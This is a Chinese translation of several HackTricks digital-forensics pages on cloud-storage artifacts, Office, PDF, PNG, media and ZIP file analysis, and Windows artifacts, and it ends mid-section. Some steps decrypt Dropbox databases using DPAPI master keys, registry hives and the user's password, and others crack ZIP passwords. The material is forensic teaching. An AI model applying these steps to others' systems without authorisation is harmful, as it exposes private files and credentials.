* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索我们的独家\[**NFTs**]收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Local Cloud Storage

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-78abb7891633b1e8147b4e743e4f00af375d3cd6%2Fimage%20(3)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)可以轻松构建和**自动化工作流程**，使用世界上**最先进**的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

## OneDrive

在Windows中，您可以在`\Users\<username>\AppData\Local\Microsoft\OneDrive`找到OneDrive文件夹。在`logs\Personal`文件夹中，可以找到名为`SyncDiagnostics.log`的文件，其中包含有关同步文件的一些有趣数据：

* 字节大小
* 创建日期
* 修改日期
* 云端文件数量
* 文件夹中的文件数量
* **CID**：OneDrive用户的唯一ID
* 报告生成时间
* 操作系统的硬盘大小

一旦找到CID，建议**搜索包含此ID的文件**。您可能会找到文件名为：***\<CID>.ini*** 和 ***\<CID>.dat***，其中可能包含与OneDrive同步的文件的名称等有趣信息。

## Google Drive

在Windows中，您可以在`\Users\<username>\AppData\Local\Google\Drive\user_default`找到主Google Drive文件夹\
此文件夹包含一个名为Sync\_log.log的文件，其中包含帐户的电子邮件地址、文件名、时间戳、文件的MD5哈希等信息。即使已删除的文件也会在该日志文件中显示其相应的MD5。

文件\*\*`Cloud_graph\Cloud_graph.db`**是一个包含表**`cloud_graph_entry`**的sqlite数据库。在此表中，您可以找到**同步的文件**的**名称\*\*、修改时间、大小和文件的MD5校验和。

数据库\*\*`Sync_config.db`\*\*的表数据包含帐户的电子邮件地址、共享文件夹的路径和Google Drive版本。

## Dropbox

Dropbox使用**SQLite数据库**来管理文件。在这\
您可以在以下文件夹中找到数据库：

* `\Users\<username>\AppData\Local\Dropbox`
* `\Users\<username>\AppData\Local\Dropbox\Instance1`
* `\Users\<username>\AppData\Roaming\Dropbox`

主要数据库包括：

* Sigstore.dbx
* Filecache.dbx
* Deleted.dbx
* Config.dbx

".dbx"扩展名表示**数据库是加密的**。Dropbox使用**DPAPI** (<https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN>)

要更好地理解Dropbox使用的加密，您可以阅读<https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html>。

然而，主要信息包括：

* **熵**：d114a55212655f74bd772e37e64aee9b
* **盐**：0D638C092E8B82FC452883F95F355B8E
* **算法**：PBKDF2
* **迭代次数**：1066

除了这些信息，要解密数据库，您还需要：

* **加密的DPAPI密钥**：您可以在注册表中找到，位于`NTUSER.DAT\Software\Dropbox\ks\client`内（将此数据导出为二进制）
* **`SYSTEM`** 和 **`SECURITY`** 蜂巢
* **DPAPI主密钥**：可以在`\Users\<username>\AppData\Roaming\Microsoft\Protect`中找到
* Windows用户的**用户名**和**密码**

然后，您可以使用工具[**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**：**

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-03c62dd9bfe0468c3550b1c4cb5772dd54112009%2Fimage%20\(448\).png?alt=media)

如果一切顺利，该工具将指示您需要使用的**主密钥**以恢复原始密钥。要恢复原始密钥，只需在此\[cyber\_chef收据]\(<https://gchq.github.io/CyberChef/#recipe=Derive\\_PBKDF2\\_key(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D)中将主密钥作为“密码”放入收据中。>

生成的十六进制是用于加密数据库的最终密钥，可以使用以下方式解密：

```bash
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
```

**`config.dbx`** 数据库包含：

* **Email**：用户的电子邮件
* **usernamedisplayname**：用户的名称
* **dropbox\_path**：Dropbox 文件夹的路径
* **Host\_id**：用于在云端进行身份验证的哈希。只能通过网络撤销此哈希。
* **Root\_ns**：用户标识符

**`filecache.db`** 数据库包含与 Dropbox 同步的所有文件和文件夹的信息。表 `File_journal` 包含最有用的信息：

* **Server\_path**：文件在服务器内的路径（此路径前面带有客户端的 `host_id`）。
* **local\_sjid**：文件的版本
* **local\_mtime**：修改日期
* **local\_ctime**：创建日期

此数据库中的其他表包含更多有趣的信息：

* **block\_cache**：Dropbox 所有文件和文件夹的哈希
* **block\_ref**：将表 `block_cache` 中的哈希 ID 与表 `file_journal` 中的文件 ID 相关联
* **mount\_table**：共享 Dropbox 文件夹
* **deleted\_fields**：已删除的 Dropbox 文件
* **date\_added**

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-b98c9fbbc98929f4f21cab6c8d6d02d3844d23bd%2Fimage%20(3)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) 可轻松构建和 **自动化工作流程**，利用全球 **最先进** 的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**，请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) 上 **关注** 我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来 **分享您的黑客技巧**。

</details>


# Office file analysis

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-b98c9fbbc98929f4f21cab6c8d6d02d3844d23bd%2Fimage%20(3)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)可以轻松构建和**自动化工作流程**，使用世界上**最先进的**社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

有关更多信息，请查看<https://trailofbits.github.io/ctf/forensics/>。这只是一个摘要：

微软创建了许多办公文档格式，其中两种主要类型是**OLE格式**（如RTF、DOC、XLS、PPT）和**Office Open XML（OOXML）格式**（如DOCX、XLSX、PPTX）。这些格式可以包含宏，使它们成为钓鱼和恶意软件的目标。OOXML文件结构化为zip容器，允许通过解压缩进行检查，揭示文件和文件夹层次结构以及XML文件内容。

为了探索OOXML文件结构，提供了解压缩文档的命令和输出结构。已记录了在这些文件中隐藏数据的技术，表明在CTF挑战中数据隐藏方面的持续创新。

对于分析，**oletools**和**OfficeDissector**提供了用于检查OLE和OOXML文档的全面工具集。这些工具有助于识别和分析嵌入的宏，这些宏通常用作恶意软件传递的向量，通常下载并执行其他恶意载荷。可以使用Libre Office进行VBA宏的分析，而无需Microsoft Office，Libre Office允许使用断点和监视变量进行调试。

**oletools**的安装和使用非常简单，提供了通过pip安装和从文档中提取宏的命令。通过函数如`AutoOpen`、`AutoExec`或`Document_Open`触发自动执行宏。

```bash
sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros
```

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-78abb7891633b1e8147b4e743e4f00af375d3cd6%2Fimage%20(3)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)轻松构建和**自动化工作流程**，利用世界上**最先进**的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# PDF File analysis

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS＆HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-78abb7891633b1e8147b4e743e4f00af375d3cd6%2Fimage%20(3)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)可以轻松构建和**自动化工作流程**，并由全球**最先进**的社区工具提供支持。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

**更多详细信息，请查看：** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)

PDF格式以其复杂性和潜在的数据隐藏能力而闻名，因此成为CTF取证挑战的焦点。它结合了纯文本元素和二进制对象，这些对象可能被压缩或加密，并且可以包含JavaScript或Flash等语言的脚本。要了解PDF结构，可以参考Didier Stevens的[入门材料](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/)，或使用文本编辑器或PDF特定编辑器（如Origami）等工具。

要深入探索或操作PDF，可使用[qpdf](https://github.com/qpdf/qpdf)和[Origami](https://github.com/mobmewireless/origami-pdf)等工具。PDF中隐藏的数据可能隐藏在以下位置：

* 不可见图层
* Adobe的XMP元数据格式
* 增量生成
* 与背景相同颜色的文本
* 图像后面或重叠图像的文本
* 未显示的注释

对于自定义PDF分析，可以使用Python库如[PeepDF](https://github.com/jesparza/peepdf)来编写定制的解析脚本。此外，PDF的隐藏数据存储潜力非常巨大，因此像NSA关于PDF风险和对策的指南等资源，尽管不再托管在原始位置，仍然提供有价值的见解。[指南的副本](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf)和Ange Albertini的[PDF格式技巧](https://github.com/corkami/docs/blob/master/PDF/PDF.md)收集可提供进一步阅读。

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS＆HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# PNG tricks

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

**PNG文件**在**CTF挑战**中备受推崇，因为它们具有**无损压缩**，非常适合嵌入隐藏数据。像**Wireshark**这样的工具通过解剖网络数据包中的PNG文件数据，可以分析PNG文件，揭示嵌入的信息或异常。

为了检查PNG文件的完整性并修复损坏，**pngcheck**是一个关键工具，提供命令行功能来验证和诊断PNG文件（[pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)）。当文件超出简单修复范围时，像[OfficeRecovery的PixRecovery](https://online.officerecovery.com/pixrecovery/)这样的在线服务提供了一个基于Web的解决方案，用于**修复损坏的PNG文件**，帮助CTF参与者恢复关键数据。

这些策略强调了在CTF中采用综合方法的重要性，利用分析工具和修复技术的结合来揭示和恢复隐藏或丢失的数据。

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Video and Audio file analysis

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

**音频和视频文件处理**是CTF取证挑战中的基本技术，利用**隐写术**和元数据分析来隐藏或揭示秘密消息。工具如\*\*[mediainfo](https://mediaarea.net/en/MediaInfo)**和**`exiftool`\*\*对检查文件元数据和识别内容类型至关重要。

对于音频挑战，\*\*[Audacity](http://www.audacityteam.org/)**是一个优秀的工具，可用于查看波形和分析频谱图，有助于揭示音频中编码的文本。**[Sonic Visualiser](http://www.sonicvisualiser.org/)**强烈推荐用于详细的频谱图分析。Audacity允许对音频进行操作，如减慢或倒放音轨以检测隐藏的消息。**[Sox](http://sox.sourceforge.net/)\*\*是一个命令行实用程序，擅长转换和编辑音频文件。

**最低有效位（LSB）操作是音频和视频隐写术中常见的技术，利用媒体文件的固定大小块来隐匿地嵌入数据。**[**Multimon-ng**](http://tools.kali.org/wireless-attacks/multimon-ng)**对解码隐藏为DTMF音调**或**莫尔斯电码**的消息很有用。

视频挑战通常涉及捆绑音频和视频流的容器格式。\*\*[FFmpeg](http://ffmpeg.org/)**是分析和处理这些格式的首选工具，能够解复用和回放内容。对于开发人员，**[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)\*\*将FFmpeg的功能集成到Python中，实现高级可脚本化交互。

这些工具的组合突显了CTF挑战中所需的多功能性，参与者必须运用广泛的分析和处理技术来揭示音频和视频文件中的隐藏数据。

## 参考资料

* <https://trailofbits.github.io/ctf/forensics/>

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# ZIPs tricks

## ZIP技巧

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

用于管理**zip文件**的**命令行工具**对于诊断、修复和破解zip文件至关重要。以下是一些关键的实用工具：

* **`unzip`**：显示zip文件无法解压缩的原因。
* **`zipdetails -v`**：提供zip文件格式字段的详细分析。
* **`zipinfo`**：列出zip文件的内容而不解压缩它们。
* **`zip -F input.zip --out output.zip`** 和 **`zip -FF input.zip --out output.zip`**：尝试修复损坏的zip文件。
* [**fcrackzip**](https://github.com/hyc/fcrackzip)：用于暴力破解zip密码的工具，对长达约7个字符的密码有效。

[Zip文件格式规范](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)提供了关于zip文件的结构和标准的详细信息。

值得注意的是，受密码保护的zip文件**不会加密**其中的文件名或文件大小，这是与RAR或7z文件不同的安全漏洞，后者会加密这些信息。此外，使用旧的ZipCrypto方法加密的zip文件如果存在未加密的压缩文件副本，则容易受到**明文攻击**的影响。这种攻击利用已知内容来破解zip文件的密码，这一漏洞在[HackThis的文章](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files)中有详细说明，并在[这篇学术论文](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf)中进一步解释。然而，使用**AES-256**加密的zip文件不受这种明文攻击的影响，突显了为敏感数据选择安全加密方法的重要性。

## 参考资料

* <https://michael-myers.github.io/blog/categories/ctf/>


# Windows Artifacts

## Windows证据

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 通用Windows证据

### Windows 10通知

在路径`\Users\<username>\AppData\Local\Microsoft\Windows\Notifications`中，您可以找到数据库`appdb.dat`（Windows周年更新前）或`wpndatabase.db`（Windows周年更新后）。

在这个SQLite数据库中，您可以找到包含所有通知（以XML格式）的`Notification`表，其中可能包含有趣的数据。

### 时间轴

时间轴是Windows的一个特性，提供了访问的**网页**、编辑的文档和执行的应用程序的**时间顺序历史记录**。

数据库位于路径`\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`。可以使用SQLite工具或工具[**WxTCmd**](https://github.com/EricZimmerman/WxTCmd)打开此数据库，**该工具生成2个文件，可以使用工具**[**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) **打开**。

### ADS（备用数据流）

下载的文件可能包含**ADS Zone.Identifier**，指示它是如何从内部网络、互联网等**下载**的。一些软件（如浏览器）通常会放置**更多**的**信息**，如文件下载的**URL**。

## **文件备份**

### 回收站

在Vista/Win7/Win8/Win10中，**回收站**可以在驱动器根目录（`C:\$Recycle.bin`）中找到。\
当在此文件夹中删除文件时，会创建2个特定文件：

* `$I{id}`：文件信息（删除日期）
* `$R{id}`：文件内容

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-2436ced2bbf66004d948e49c9d2fb4ff3a22f6f1%2Fimage%20\(486\).png?alt=media)

有了这些文件，您可以使用工具[**Rifiuti**](https://github.com/abelcheung/rifiuti2)获取已删除文件的原始地址和删除日期（对于Vista – Win10，请使用`rifiuti-vista.exe`）。

```
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
```

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-8ff6609d0abbeddff4b920b5325d921f6324ddea%2Fimage%20\(495\)%20\(1\)%20\(1\)%20\(1\).png?alt=media)

### 阴影副本

阴影副本是包含在 Microsoft Windows 中的技术，可以在计算机文件或卷正在使用时创建**备份副本**或快照。

这些备份通常位于文件系统根目录下的 `\System Volume Information` 中，名称由以下图像中显示的**UIDs**组成：

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-ce7c52f8776009e4538cef4479877c330d788c2c%2Fimage%20\(520\).png?alt=media)

使用 **ArsenalImageMounter** 挂载取证镜像，可以使用工具 [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) 来检查阴影副本，甚至从阴影副本备份中**提取文件**。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-cd734fb04458eb19f18f9a1df50c912d69743da1%2Fimage%20\(521\).png?alt=media)

注册表项 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` 包含**不备份**的文件和键：

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-a947aaf42caa7617dbcd6f7329a6c7d3e4f962ac%2Fimage%20\(522\).png?alt=media)

注册表 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` 还包含有关`Volume Shadow Copies`的配置信息。

### Office 自动保存文件

您可以在以下位置找到 office 自动保存文件：`C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`

## Shell 项目

